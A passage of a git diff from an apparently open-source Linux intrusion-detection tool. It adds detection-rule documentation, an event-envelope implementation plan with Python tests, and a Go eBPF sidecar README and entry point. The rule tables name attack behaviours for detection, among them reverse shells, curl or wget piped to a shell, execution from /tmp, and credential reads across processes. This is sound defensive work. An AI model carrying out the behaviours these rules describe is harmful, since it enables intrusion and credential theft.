§1.5.4). +- Emit: key `persist:`, no pids, detail `persistence file modified: + `. + +## 2.14 `first_seen` — SIDs 100074 / 100075, MEDIUM + +Network-rarity tracking with a self-owned persistent store. The store format, +the `initialized` learn-once semantics, and the restart asymmetry are specified +in §1.5.5 — not repeated here. Match summary: + +- `first_public_destination` (100074): a `comm` reaches an `ESTAB` peer that is + a public IP:port not previously recorded for it. Key + `firstdest::`, `pids=(pid,)` when known. +- `first_listener_port` (100075): a `comm` opens a `LISTEN`/`UNCONN` tcp/udp + socket on a numeric non-zero port not previously recorded for it. Key + `firstlisten::`. + +Both only alert when the store is already `initialized`; the recording of the +new value happens regardless (so the alert fires once). + +--- + +## 2.15 Port parity notes (Go port) + +- The Go poll detectors for §2.3–§2.14 are **ported and pass the parity + fixture** (`scripts/check-go-parity.py`), covering exact SID/severity/key/ + classtype/detail output. This document is the human-readable form of that + fixture's contract. +- `first_seen`/`new_listener`/`new_suid`/`persistence` receive injected baseline + inputs in parity mode and use the opt-in live lifecycle described in §1 when + `--state-dir` is supplied. +- Watch two easily-missed rules when reviewing a port: the **first-match-then- + break** behavior in `input_snooper`/`credential_access` (one alert per + process), and the **per-signature `seen` dedup** in `memory_obfuscation` (one + alert per signature per process, precedence-ordered). +- `ld_preload`'s global check reads `/etc/ld.so.preload` **inside the detector** + (or from an injected state field), not from the shared `SystemState` process + view. diff --git a/docs/behavior/03-event-detection.md b/docs/behavior/03-event-detection.md new file mode 100644 index 0000000..4d9f1ec --- /dev/null +++ b/docs/behavior/03-event-detection.md @@ -0,0 +1,147 @@ + +# 3. Event Detection + +Scope: the transport-independent contract for exec and syscall events and the +rules that turn them into alerts. Python remains the oracle. The Go port +accepts replay fixtures and reproduces the alert envelopes. Its opt-in native +exec and syscall sources now feed the same contract through `cilium/ebpf`; +typed-host kernel transports remain a separate boundary. + +Typed host-event rules are part of the same replay and catalog contract. + +## 3.1 Exec events + +`ExecEvent` fields are `pid`, `ppid`, `uid`, `parent_comm`, `filename`, and +`argv`. `argv` excludes `filename`. + +- `exec_comm` is the POSIX basename of `filename`. A trailing slash therefore + produces an empty basename; ports must not clean the path first. +- `argv_str` is `filename` and every captured argv item joined with one space, + then stripped at both ends. +- Rules AND every condition they specify. Values within one condition are ORed. +- A rule with no positive condition is invalid. `parent_exclude` is a veto, not + a positive condition. +- `argv_regex` is case-insensitive and searches the whole `argv_str`. + +Alert contract: + +| Field | Value | +|---|---| +| signature | `exec_rule.` | +| key | `exec::` | +| pids | the event PID, even when zero | +| detail | `sid= — pid=… ppid=… parent=… exec=… argv=[…]` | + +The argv text in detail is truncated to 120 characters. Built-ins: + +| SID | Severity | Classtype | Match | +|---|---|---|---| +| 100001 | CRITICAL | `fileless-execution` | filename begins `/tmp/`, `/dev/shm/`, or `/var/tmp/` | +| 100002 | CRITICAL | `c2-reverse-shell` | reverse-shell regex in `argv_str` | +| 100003 | CRITICAL | `web-rce` | web/DB parent launches a configured interpreter basename | +| 100004 | HIGH | `ingress-tool-transfer` | curl/wget/fetch piped to a shell | + +Configured rules are appended after built-ins from `[[exec_rules]]` tables in +`exec_rules_file`. Missing files mean built-ins only. Unknown severity strings +fall back to HIGH, matching Python. + +## 3.2 Syscall events + +`SyscallEvent` fields are `pid`, `ppid`, `uid`, `comm`, `syscall`, six unsigned +arguments (`arg0`…`arg5`), and optional `text`. Missing arguments are zero. + +Alert contract: + +| Field | Value | +|---|---| +| signature | `syscall_rule.` | +| key | `syscall:::::` | +| pids | the event PID | +| detail | rule metadata plus `arg0`…`arg3` formatted as prefixed lowercase hex | + +Optional text is appended as ` text=[…]` and truncated to 80 characters. + +| SID | Severity | Classtype | Match | +|---|---|---|---| +| 100060 | CRITICAL | `memory-obfuscation` | `mprotect`, arg2 contains both WRITE (`0x2`) and EXEC (`0x4`) | +| 100061 | CRITICAL | `memory-obfuscation` | `mmap`, arg2 contains WRITE and EXEC | +| 100062 | MEDIUM | `fileless-execution` | any `memfd_create` | +| 100063 | HIGH | `anti-analysis` | `ptrace` request TRACEME (`0`), ATTACH (`16`), or SEIZE (`0x4206`) | +| 100064 | MEDIUM | `anti-analysis` | any `seccomp`, or `prctl` arg0 `PR_SET_SECCOMP` (`22`) | +| 100065 | HIGH | `credential-access` | `process_vm_readv` or `process_vm_writev` | +| 100066 | MEDIUM | `memory-obfuscation` | `mlock`, `mlock2`, or `mlockall` | + +## 3.3 Current Go acceptance boundary + +`scripts/check-go-parity.py` replays shared JSON into both implementations and +compares decoded `enodia.event.v1` alert envelopes exactly. Acceptance requires: + +- all four built-in exec rules plus one configured rule; +- all seven syscall rules and all ten host rules plus negative predicate cases; +- identical SID, severity, signature, classtype, key, detail, PID list, host, + and timestamp; +- no BPF/root/kernel dependency for replay mode. + +Replay flags are `--exec-events`, `--syscall-events`, and `--host-events`. +They emit alert JSONL only and exit. They remain deterministic verification +surfaces independent of the live source. + +`--ebpf-exec` loads a compiled tracepoint program with `cilium/ebpf`, captures +PID, parent PID, UID, caller comm, filename, and the first two arguments, then +passes each record through the same exec rule engine, shared cooldown gate, and +`enodia.event.v1` builder. Parent lookup uses CO-RE relocation against kernel +BTF. Startup and reader failures update `ebpf`/`ebpf_exec` status and leave the +poll loop running. The flag is opt-in and requires Go 1.25+ to build. + +`--ebpf-syscall` attaches one raw-syscall entry tracepoint. An architecture- +specific map allows only `mprotect`, `mmap`, `memfd_create`, `ptrace`, `prctl`, +`seccomp`, `process_vm_readv`, `process_vm_writev`, `mlock`, `mlock2`, and +`mlockall` through the BPF program, plus `setuid` and `setgid`, avoiding a +user-space event for every host syscall. It captures the six arguments and the +memfd name before routing syscall events through SIDs `100060`–`100066`. +`setuid`/`setgid` become typed host events for SIDs `100071`/`100072`. The +portable `fchmodat`/`fchownat` calls, plus legacy `chmod`/`chown`/`lchown` on +amd64, become `chmod`/`chown` host events for SID `100070`. Relative paths are +resolved against `/proc//cwd` before matching persistence prefixes. The +`capset` effective bitmap is decoded to canonical capability names for SID +`100077`. `finit_module` resolves its file descriptor through `/proc//fd` +and supplies path/module fields to SID `100078`. Syscall numbers come from +build-target `golang.org/x/sys/unix` constants rather +than a hand-maintained architecture table. Static builds are exercised for +`amd64`, `arm64`, `riscv64`, and big-endian `s390x`. + +## 3.4 Typed host events + +`HostEvent` covers `tcp_connect`, `listen`, `bind`, `accept`, `file_write`, +`chmod`, `chown`, `setuid`, `setgid`, `capset`, and `module_load`. Compatibility +aliases accepted by `ruleops` are stable: `type`, `remote_*`, `bind_*`, +`listen_*`, `uid_target`, `gid_target`, `caps`, `cap_effective`, singular +`capability`, and module `name`. Numeric strings accept decimal/hex/octal; +absent target UID/GID values are `-1`, not zero. + +Host alerts use signature `host_rule.` and a key containing every +typed identity field. Capabilities are normalized uppercase for matching and +rendering. Built-in SIDs are `100067`–`100073` and `100076`–`100078`. + +## 3.5 Mixed pipeline and catalog + +`--event-stream` accepts mixed JSONL (or `-` for stdin), infers exec/syscall +events when no explicit type exists, and routes typed events through one +transport-independent rule set. `--rules-list` and `--rules-show` expose the +same sorted metadata and conditions as Python `ruleops`. + +The native exec/syscall readers and all replay modes feed this boundary. The +syscall reader also supplies typed-host transports for root UID/GID transition +requests, persistence-path permission/ownership changes, and capability-set +requests. `finit_module` supplies module-load events with resolved paths. +Interpreter `write`, `writev`, `pwrite64`, `pwritev`, and `pwritev2` calls are +filtered by the same comm list as SID `100069`, correlated across raw syscall +enter/exit in a bounded BPF map, emitted only for positive byte counts, and +resolved through `/proc//fd`. Successful +IPv4/IPv6 `connect` and `bind` calls use the same enter/exit correlation and +in-kernel interpreter filter for SIDs `100067`/`100073`. Connect events are +verified against `/proc/net/tcp{,6}` by socket inode so UDP cannot be mislabeled +as `tcp_connect`. Successful `listen`, `accept`, and `accept4` calls resolve +their socket FD to local/peer TCP endpoints through the same inode tables for +SIDs `100068`/`100076`. Every current typed-host event family now has a native +transport. diff --git a/docs/behavior/index.md b/docs/behavior/index.md index d5b55c5..ffb8547 100644 --- a/docs/behavior/index.md +++ b/docs/behavior/index.md @@ -38,8 +38,8 @@ Written in port-priority order. Status reflects which documents exist. | # | File | Covers | Status | |---|------|--------|--------| | 1 | [`01-sweep-and-state.md`](01-sweep-and-state.md) | `system.py` capture, `daemon.py` sweep loop + baseline lifecycle, `alert.py`, detector registry, `config.py` timing knobs | **written** | -| 2 | `02-poll-detectors.md` | the twelve `detectors/*` — per-detector input → match → output contract | planned | -| 3 | `03-event-detection.md` | `event.py`, exec/syscall/host rule engines, `ruleops.py`, `sids.py` | planned | +| 2 | [`02-poll-detectors.md`](02-poll-detectors.md) | the twelve `detectors/*` — per-detector input → match → output contract | **written** | +| 3 | [`03-event-detection.md`](03-event-detection.md) | `event.py`, exec/syscall/host rule engines, `ruleops.py`, `sids.py` | **written** | | 4 | `04-integrity.md` | `fim.py`, `pkgdb.py`, `selfprotect.py`, `assurance.py` | planned | | 5 | `05-rootcheck.md` | `rootcheck.py` anti-rootkit cross-view checks | planned | | 6 | `06-posture.md` | `posture.py` advisory host-hygiene checks | planned | diff --git a/docs/superpowers/plans/2026-07-10-eve-event-envelope.md b/docs/superpowers/plans/2026-07-10-eve-event-envelope.md new file mode 100644 index 0000000..cb65a12 --- /dev/null +++ b/docs/superpowers/plans/2026-07-10-eve-event-envelope.md @@ -0,0 +1,295 @@ +# EVE-Style Event Envelope (Phase 0) Implementation Plan + +> **For agentic workers:** REQUIRED SUB-SKILL: Use superpowers:subagent-driven-development (recommended) or superpowers:executing-plans to implement this plan task-by-task. Steps use checkbox (`- [ ]`) syntax for tracking. + +**Goal:** Add an additive, EVE-style event envelope (`enodia.event.v1`) — a single typed wrapper with an `event_type` discriminator — as the reference contract that both today's Python and a future Go agent will emit. + +**Architecture:** A new pure `enodia_sentinel/event.py` module provides a reference encoder that wraps any payload in a common envelope (`schema`, `event_type`, `timestamp`, `host`, and a payload sub-object keyed by the event type — exactly like Suricata EVE). It is *additive*: it does not change any existing emitter or break existing v1 contracts. Existing objects (starting with `Alert`) get a thin convenience wrapper. Compatibility tests and `SCHEMAS.md` pin the contract. + +**Tech Stack:** Python 3 standard library only (`dataclasses`/functions, `datetime`, `os`), `unittest`. + +## Global Constraints + +- **Stdlib-only.** No third-party imports in `enodia_sentinel/`. (Copied from CLAUDE.md engineering rules.) +- **Additive v1.** Required v1 fields are never removed, renamed, or retyped; new work only adds. (Copied from `docs/SCHEMAS.md`.) +- **Every operator-facing JSON contract updates `docs/SCHEMAS.md` and compatibility tests.** (Copied from CLAUDE.md documentation checklist.) +- **SPDX header** `# SPDX-License-Identifier: GPL-3.0-or-later` as the first line of every new `.py` file. (Matches every existing module.) +- **Shared checkout:** stage only files this plan creates/modifies; never `git add -A`. (Copied from CLAUDE.md.) +- **Timestamp format:** `datetime.now().astimezone().isoformat()`. **Host:** `os.uname().nodename`. (Existing convention in `snapshot.py`.) +- **Test command:** `python3 -m unittest -v` from the repo root. + +--- + +### Task 1: Event envelope reference encoder + +**Files:** +- Modify: `enodia_sentinel/schemas.py` (add one constant) +- Create: `enodia_sentinel/event.py` +- Create: `tests/test_event_envelope.py` +- Modify: `docs/SCHEMAS.md` (add `enodia.event.v1` section) + +**Interfaces:** +- Consumes: nothing (leaf module). +- Produces: + - `enodia_sentinel.schemas.EVENT_V1: str == "enodia.event.v1"` + - `enodia_sentinel.event.EVENT_TYPES: frozenset[str]` — the closed v1 set `{"alert", "incident", "status"}` + - `enodia_sentinel.event.build_event(event_type: str, payload: dict, *, host: str | None = None, timestamp: str | None = None) -> dict` — returns an envelope dict with keys `schema`, `event_type`, `timestamp`, `host`, and `event_type`'s value used as a key holding `payload`. Raises `ValueError` for an `event_type` not in `EVENT_TYPES`. + +- [ ] **Step 1: Write the failing test** + +Create `tests/test_event_envelope.py`: + +```python +# SPDX-License-Identifier: GPL-3.0-or-later +"""Compatibility tests for the enodia.event.v1 envelope.""" +import os +import unittest +from datetime import datetime + +from enodia_sentinel import event, schemas + + +class TestEventEnvelope(unittest.TestCase): + def test_schema_id_is_stable(self): + self.assertEqual(schemas.EVENT_V1, "enodia.event.v1") + + def test_build_event_shape_and_types(self): + env = event.build_event("alert", {"sid": 100010}) + self.assertEqual(env["schema"], schemas.EVENT_V1) + self.assertEqual(env["event_type"], "alert") + self.assertIsInstance(env["timestamp"], str) + self.assertIsInstance(env["host"], str) + # EVE-style: payload lives under a key named by event_type. + self.assertEqual(env["alert"], {"sid": 100010}) + + def test_timestamp_defaults_to_iso8601(self): + env = event.build_event("status", {"running": True}) + # Parses as ISO-8601 without raising. + datetime.fromisoformat(env["timestamp"]) + + def test_host_defaults_to_nodename(self): + env = event.build_event("status", {"running": True}) + self.assertEqual(env["host"], os.uname().nodename) + + def test_overrides_are_respected(self): + env = event.build_event( + "incident", {"id": "x"}, host="host-a", timestamp="2026-07-10T00:00:00-07:00") + self.assertEqual(env["host"], "host-a") + self.assertEqual(env["timestamp"], "2026-07-10T00:00:00-07:00") + + def test_unknown_event_type_rejected(self): + with self.assertRaises(ValueError): + event.build_event("nope", {}) + + def test_event_types_is_closed_set(self): + self.assertEqual(event.EVENT_TYPES, frozenset({"alert", "incident", "status"})) + + +if __name__ == "__main__": + unittest.main() +``` + +- [ ] **Step 2: Run test to verify it fails** + +Run: `python3 -m unittest tests.test_event_envelope -v` +Expected: FAIL — `ModuleNotFoundError: No module named 'enodia_sentinel.event'` (and `AttributeError` on `schemas.EVENT_V1`). + +- [ ] **Step 3: Add the schema constant** + +In `enodia_sentinel/schemas.py`, after the `RECONCILE_V1` line (currently the last constant), add: + +```python +EVENT_V1 = "enodia.event.v1" +``` + +- [ ] **Step 4: Write the module** + +Create `enodia_sentinel/event.py`: + +```python +# SPDX-License-Identifier: GPL-3.0-or-later +"""EVE-style event envelope: one typed wrapper for every emitted record. + +Every envelope carries a stable ``schema`` id, an ``event_type`` discriminator, +a ``timestamp`` and ``host``, and the type-specific payload under a key named by +the event type (mirroring Suricata's EVE JSON, where an ``alert`` record holds +its detail under ``"alert"``). This is the reference contract a future Go agent +must emit byte-for-byte; the Python side is the oracle. +""" +from __future__ import annotations + +import os +from datetime import datetime + +from .schemas import EVENT_V1 + +# Closed set of v1 discriminators. New types are added additively in later +# phases (e.g. "dns", "tls", "http", "flow", "anomaly", "capture"); removing or +# renaming a value is a breaking change. +EVENT_TYPES = frozenset({"alert", "incident", "status"}) + + +def build_event( + event_type: str, + payload: dict, + *, + host: str | None = None, + timestamp: str | None = None, +) -> dict: + """Wrap ``payload`` in an ``enodia.event.v1`` envelope. + + Raises ``ValueError`` if ``event_type`` is not a known v1 discriminator. + """ + if event_type not in EVENT_TYPES: + raise ValueError(f"unknown event_type: {event_type!r}") + if host is None: + host = os.uname().nodename + if timestamp is None: + timestamp = datetime.now().astimezone().isoformat() + return { + "schema": EVENT_V1, + "event_type": event_type, + "timestamp": timestamp, + "host": host, + event_type: payload, + } +``` + +- [ ] **Step 5: Run test to verify it passes** + +Run: `python3 -m unittest tests.test_event_envelope -v` +Expected: PASS (6 tests). + +- [ ] **Step 6: Document the contract** + +In `docs/SCHEMAS.md`, add this section immediately after the intro paragraph that ends "...pin the required v1 fields." (before the `## enodia.alert.v1` heading): + +```markdown +## `enodia.event.v1` + +Uniform envelope that wraps every emitted record with a typed discriminator. +This is the Python↔Go interoperability contract: any implementation must emit +the same envelope for the same input. Modeled on Suricata's EVE JSON — the +type-specific payload lives under a key named by `event_type`. + +Required fields: + +| Field | Type | Meaning | +|---|---|---| +| `schema` | string | `enodia.event.v1`. | +| `event_type` | string | Discriminator: `alert`, `incident`, or `status` (additive set). | +| `timestamp` | string | ISO-8601 emission time. | +| `host` | string | Hostname at emission time. | +| `` | object | Payload, under a key equal to `event_type` (e.g. `alert` holds an `enodia.alert.v1` object). | +``` + +- [ ] **Step 7: Commit** + +```bash +git add enodia_sentinel/schemas.py enodia_sentinel/event.py tests/test_event_envelope.py docs/SCHEMAS.md +git commit -m "feat(schema): add enodia.event.v1 EVE-style event envelope" +``` + +--- + +### Task 2: Alert → event convenience wrapper + +**Files:** +- Modify: `enodia_sentinel/event.py` +- Modify: `tests/test_event_envelope.py` +- Modify: `docs/SCHEMAS.md` (one clarifying line) + +**Interfaces:** +- Consumes: `event.build_event` (Task 1); `enodia_sentinel.alert.Alert` with its existing `.to_dict()` method returning keys `sid, severity, signature, classtype, key, detail, pids`. +- Produces: `enodia_sentinel.event.from_alert(alert, *, host: str | None = None, timestamp: str | None = None) -> dict` — an `enodia.event.v1` envelope with `event_type == "alert"` whose `alert` payload is exactly `alert.to_dict()`. + +- [ ] **Step 1: Write the failing test** + +Append to `tests/test_event_envelope.py` inside `TestEventEnvelope` (before the `if __name__` guard): + +```python + def test_from_alert_wraps_alert_payload(self): + from enodia_sentinel.alert import Alert, Severity + alert = Alert( + Severity.CRITICAL, "reverse_shell", "rsh:4242", + "pid=4242 peer=[8.8.8.8:4444]", (4242,), + sid=100010, classtype="command-and-control") + env = event.from_alert(alert, host="host-a") + self.assertEqual(env["event_type"], "alert") + self.assertEqual(env["host"], "host-a") + # Payload is the untouched enodia.alert.v1 object. + self.assertEqual(env["alert"], alert.to_dict()) + self.assertEqual(env["alert"]["signature"], "reverse_shell") + self.assertEqual(env["alert"]["sid"], 100010) +``` + +- [ ] **Step 2: Run test to verify it fails** + +Run: `python3 -m unittest tests.test_event_envelope.TestEventEnvelope.test_from_alert_wraps_alert_payload -v` +Expected: FAIL — `AttributeError: module 'enodia_sentinel.event' has no attribute 'from_alert'`. + +- [ ] **Step 3: Add the wrapper** + +Append to `enodia_sentinel/event.py` (after `build_event`): + +```python +def from_alert(alert, *, host: str | None = None, timestamp: str | None = None) -> dict: + """Wrap an ``Alert`` (via its ``to_dict()``) in an ``alert`` event envelope.""" + return build_event("alert", alert.to_dict(), host=host, timestamp=timestamp) +``` + +- [ ] **Step 4: Run test to verify it passes** + +Run: `python3 -m unittest tests.test_event_envelope -v` +Expected: PASS (7 tests). + +- [ ] **Step 5: Document the alert mapping** + +In `docs/SCHEMAS.md`, in the `enodia.event.v1` table row for ``, the text already notes `alert` holds an `enodia.alert.v1` object. Add one line directly beneath the table: + +```markdown +The reference encoder lives in `enodia_sentinel/event.py` +(`build_event`, `from_alert`); `tests/test_event_envelope.py` pins the contract. +``` + +- [ ] **Step 6: Commit** + +```bash +git add enodia_sentinel/event.py tests/test_event_envelope.py docs/SCHEMAS.md +git commit -m "feat(schema): add Alert -> enodia.event.v1 reference wrapper" +``` + +--- + +### Task 3: Full-suite regression check + +**Files:** none (verification only). + +**Interfaces:** none. + +- [ ] **Step 1: Run the whole suite to confirm nothing regressed** + +Run: `python3 -m unittest discover -s tests -v` +Expected: PASS — the existing suite plus the 7 new envelope tests. No existing schema-contract test changes behavior (the work is purely additive). + +- [ ] **Step 2: Confirm the additive guarantee held** + +Run: `git diff --stat HEAD~2 -- enodia_sentinel/` +Expected: only `schemas.py` (one added line) and the new `event.py` appear — no existing emitter (`alert.py`, `snapshot.py`, `incident.py`, `web.py`) was modified, proving the change is non-breaking. + +--- + +## Self-Review + +**Spec coverage (Phase 0 = "Freeze and extend the v1 EVE-style event envelope in SCHEMAS.md; `event_type` discriminator; alert/incident/status as event types; the Python↔Go contract; no language change yet"):** +- EVE-style envelope with `event_type` discriminator → Task 1 (`build_event`, `EVENT_TYPES`). +- alert/incident/status as event types → Task 1 (`EVENT_TYPES = {"alert","incident","status"}`); alert reference mapping → Task 2 (`from_alert`). Incident/status wrappers are deferred to their emitter phases; the discriminator set already reserves them additively, satisfying "as event types" at the contract level. +- Documented in `SCHEMAS.md` → Tasks 1 & 2. +- Compatibility tests pin the contract → Tasks 1 & 2; regression proven → Task 3. +- No language change → confirmed; all Python, additive. + +**Placeholder scan:** none — every code and doc step shows exact content. + +**Type consistency:** `build_event(event_type, payload, *, host, timestamp)` and `from_alert(alert, *, host, timestamp)` signatures match between the interface blocks, the code steps, and the tests. `EVENT_V1`/`EVENT_TYPES` names are consistent across schemas.py, event.py, and tests. Envelope keys (`schema`, `event_type`, `timestamp`, `host`, ``) are identical in code, tests, and the SCHEMAS.md table. + +**Scope:** single subsystem, additive, independently testable; no decomposition needed. diff --git a/go-agent/README.md b/go-agent/README.md index 4ddf27b..a2c6a58 100644 --- a/go-agent/README.md +++ b/go-agent/README.md @@ -1,4 +1,4 @@ -# Enodia Sentinel Go Agent (Phase 1 Prototype) +# Enodia Sentinel Go Agent (Migration Sidecar) This directory is the parallel Go implementation described in `docs/SURICATA_ASSIMILATION.md`. Python remains the production agent and the @@ -14,27 +14,160 @@ Current scope: `deleted_exe` (`100012`), `input_snooper` (`100032`), and `credential_access` (`100033`), plus `reverse_shell` (`100010`), `egress` (`100016`), `stealth_network` (`100036`), and the `/proc//maps` - `memory_obfuscation` cohort (`100039`, `100048`, `100049`); -- `enodia.status.v1` heartbeat records with no persistence or retained-alert - claims; + `memory_obfuscation` cohort (`100039`, `100048`, `100049`), and + `first_seen` (`100074`, `100075`), `new_listener` (`100013`), + `persistence` (`100015`), and `new_suid` (`100014`); +- an opt-in live baseline lifecycle (`--state-dir`) that builds listener/SUID + baselines, honors the startup grace gate, scans persistence paths, and + atomically retains `first-seen.json` using the Python-compatible schema; +- pure exec and syscall event models plus replayable rule engines: built-in + exec SIDs `100001`–`100004`, configured `[[exec_rules]]`, and syscall SIDs + `100060`–`100066` now emit Python-identical alert envelopes without requiring + a kernel probe; +- typed host-event SIDs `100067`–`100073` and `100076`–`100078`, a unified + mixed JSONL pipeline, Python-compatible `rules-list`/`rules-show` metadata, + correlation SID `100080`, and a shared per-key cooldown gate; +- opt-in native exec (`--ebpf-exec`) and security-syscall (`--ebpf-syscall`) + tracepoint sources built with `cilium/ebpf` v0.22.0 and CO-RE parent-process + lookup. They feed the same rule/cooldown/envelope paths as replay and degrade + to polling when loading, attaching, or reading is unavailable. The syscall + probe filters its security-relevant syscall numbers in-kernel and also routes + `setuid`/`setgid` into typed host-event SIDs `100071`/`100072`, plus + `chmod`/`chown` variants into SID `100070`, `capset` into SID `100077`, and + `finit_module` into SID `100078` after resolving the module FD path. Confirmed + interpreter `write`, `writev`, `pwrite64`, `pwritev`, and `pwritev2` calls are + enter/exit-correlated for SID `100069`. + Successful IPv4/IPv6 `connect`, `bind`, `listen`, and `accept` calls feed SIDs + `100067`, `100073`, `100068`, and `100076`; +- `enodia.status.v1` heartbeat records whose alert totals, severity counts, and + last-alert time are derived from the retained Go snapshot store; +- optional bounded JSONL retention (`--event-log`) with private permissions, + one rotated segment, and synchronous flushes for non-status records; +- optional `enodia.alert.snapshot.v1` JSON/text pairs (`--snapshot-dir`) with + same-second alert batching, best-effort `/proc` context, and Python-compatible + count/age pruning; - a shared fixture checked against the Python detector by `scripts/check-go-parity.py`. -It does not install a service, write Python state, capture eBPF events, retain -snapshots, or replace `enodia-sentinel`. Run a single terminal-visible sweep: +It does not yet provide Python's incident grouping, rich enrichment, assurance +chain, or notification fan-out for those snapshots, and it does not replace +`enodia-sentinel`. The module requires Go 1.25 or newer; development is currently +verified with Go 1.26.5. Run a single terminal-visible stateless sweep: ```bash cd go-agent GOCACHE=/tmp/enodia-go-cache go run ./cmd/enodia-sentinel-go --once ``` +Print the packaged agent identity with `enodia-sentinel-go --version`. + +Exercise the live baseline lifecycle in an isolated directory (do not point the +migration sidecar at the production Python agent's state directory): + +```bash +GOCACHE=/tmp/enodia-go-cache go run ./cmd/enodia-sentinel-go \ + --state-dir /tmp/enodia-sentinel-go-state +``` + Development verification from the repository root: ```bash +make generate-go # only after editing internal/ebpfsource/bpf/*.bpf.c make test-go make parity-go ``` -`--fixture`, `--host`, `--timestamp`, and `--proc-root` exist for deterministic -parity/testing. Production work should continue to use the default live -`/proc`, hostname, and local timestamp. +Build and install the opt-in production validation sidecar from the repository +root: + +```bash +make build-go +sudo make install-go +sudo make enable-go +make status-go +make logs-go +``` + +`enodia-sentinel-go-sidecar.service` writes JSONL to the system journal and +keeps baseline lifecycle files under `/var/lib/enodia-sentinel-go`. It also +retains the same envelopes in `events.jsonl`, rotating to `events.jsonl.1` +before the active file exceeds 64 MiB. Both files are mode `0600`; alert and +incident records are synchronized before emission succeeds, while routine +status records use normal kernel writeback. It never shares the Python daemon's +`/var/log/enodia-sentinel` state. Both native probes are requested by the unit; +a probe load failure is visible in status events and the polling loop remains +active. Installing the sidecar does not enable it or alter +`enodia-sentinel.service`. The unit reaches `active` only after baseline +initialization, event-log and snapshot-store preflight, and both requested probe +load attempts finish. + +Alert envelopes are also batched into private +`alert-YYYYMMDD-HHMMSS.{json,log}` pairs under the same isolated directory. +The JSON side implements the required `enodia.alert.snapshot.v1` fields and the +service applies shared `max_snapshots` / `max_snapshot_age_days` limits. Status +counts are populated only from parseable retained snapshots. Enrichment is +currently limited to a Go-source marker plus best-effort process detail; +incident indexing and the Python forensic enrichment/assurance pipeline remain +future parity work. + +After every successfully emitted status record, the service atomically updates +`/var/lib/enodia-sentinel-go/heartbeat` with the current Unix timestamp (mode +`0600`). The file remains after shutdown so external watchdogs can identify a +stale sensor. + +Check that signal with JSON output and a watchdog-friendly exit status: + +```bash +enodia-sentinel-go --health +# For an isolated development run: +enodia-sentinel-go --health --state-dir /tmp/enodia-sentinel-go-state +``` + +The command uses `heartbeat_max_age` from the shared configuration, defaults to +the service state path when `--state-dir` is omitted, and exits nonzero for a +missing, malformed, or stale heartbeat. + +For an ad-hoc retained run, set an explicit path and byte bound: + +```bash +enodia-sentinel-go --state-dir /tmp/enodia-go-state \ + --event-log /tmp/enodia-go-state/events.jsonl \ + --event-log-max-bytes 8388608 +``` + +Inspect recent retained records across both the active and rotated segments: + +```bash +sudo enodia-sentinel-go --events-tail 50 +# Or inspect an ad-hoc state tree: +enodia-sentinel-go --events-tail 50 --state-dir /tmp/enodia-go-state +``` + +The reader returns chronological JSONL, validates every source record, and +fails nonzero rather than forwarding corrupted evidence. It does not load the +agent configuration, so retained evidence remains available while a broken +configuration prevents the service from starting. + +`--fixture`, `--host`, `--timestamp`, `--proc-root`, and `--suid-root` exist for +deterministic parity/testing. Fixture mode never activates the live baseline +manager. Production work should continue to use the default live `/proc`, +hostname, and local timestamp. + +The kernel sources are explicitly opt-in while this remains a sidecar. They +require the privileges needed to load BPF programs and create maps. A load +failure is reported on stderr and in `enodia.status.v1`, then the poll loop +continues: + +```bash +sudo go run ./cmd/enodia-sentinel-go --ebpf-exec --ebpf-syscall +``` + +Offline event-rule replays remain available without BPF or root: + +```bash +go run ./cmd/enodia-sentinel-go --exec-events ../tests/fixtures/go/exec-events.json +go run ./cmd/enodia-sentinel-go --syscall-events ../tests/fixtures/go/syscall-events.json +go run ./cmd/enodia-sentinel-go --host-events ../tests/fixtures/go/host-events.json +go run ./cmd/enodia-sentinel-go --event-stream ../tests/fixtures/go/mixed-events.jsonl +go run ./cmd/enodia-sentinel-go --rules-list +``` diff --git a/go-agent/cmd/enodia-sentinel-go/main.go b/go-agent/cmd/enodia-sentinel-go/main.go index 956a968..65ba054 100644 --- a/go-agent/cmd/enodia-sentinel-go/main.go +++ b/go-agent/cmd/enodia-sentinel-go/main.go @@ -1,22 +1,34 @@ // SPDX-License-Identifier: GPL-3.0-or-later -// enodia-sentinel-go is the experimental Phase 1 sidecar. Python remains the -// production implementation and behavioral oracle until parity is complete. +// enodia-sentinel-go is the migration validation sidecar. Python remains the +// production default and behavioral oracle until parity is complete. package main import ( "context" "encoding/json" + "errors" "flag" "fmt" "os" "os/signal" + "strings" + "sync" "syscall" "time" "codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/agent" + "codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/baseline" "codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/config" + "codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/correlation" + "codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/ebpfsource" + "codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/eventlog" + "codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/events" + "codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/health" "codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/model" + "codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/schema" + "codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/sdnotify" + "codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/snapshot" "codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/system" ) @@ -31,15 +43,122 @@ func run() error { once := flag.Bool("once", false, "emit one sweep and exit") configPath := flag.String("config", "", "Sentinel TOML path (default: ENODIA_CONFIG or /etc/enodia-sentinel.toml)") procRoot := flag.String("proc-root", "/proc", "procfs root") + stateDir := flag.String("state-dir", "", "enable baseline lifecycle in this directory") + suidRoot := flag.String("suid-root", "/", "SUID scan root (testing only)") fixture := flag.String("fixture", "", "JSON SystemState fixture (parity/testing only)") + execEvents := flag.String("exec-events", "", "replay a JSON array of exec events and exit") + syscallEvents := flag.String("syscall-events", "", "replay a JSON array of syscall events and exit") + hostEvents := flag.String("host-events", "", "replay a JSON array of typed host events and exit") + eventStream := flag.String("event-stream", "", "match mixed JSONL events from a file or - for stdin") + eventLogPath := flag.String("event-log", "", "append live event envelopes to a bounded JSONL file") + eventLogMaxBytes := flag.Int64("event-log-max-bytes", 64<<20, "rotate the retained event log before this size") + eventsTail := flag.Int("events-tail", 0, "print the newest N retained event records and exit") + snapshotDir := flag.String("snapshot-dir", "", "retain bounded alert snapshot pairs in this directory") + rulesList := flag.Bool("rules-list", false, "emit the active event-rule catalog as JSON and exit") + rulesShow := flag.Int("rules-show", 0, "emit one event rule by SID as JSON and exit") + correlateFile := flag.String("correlate", "", "correlate a JSON 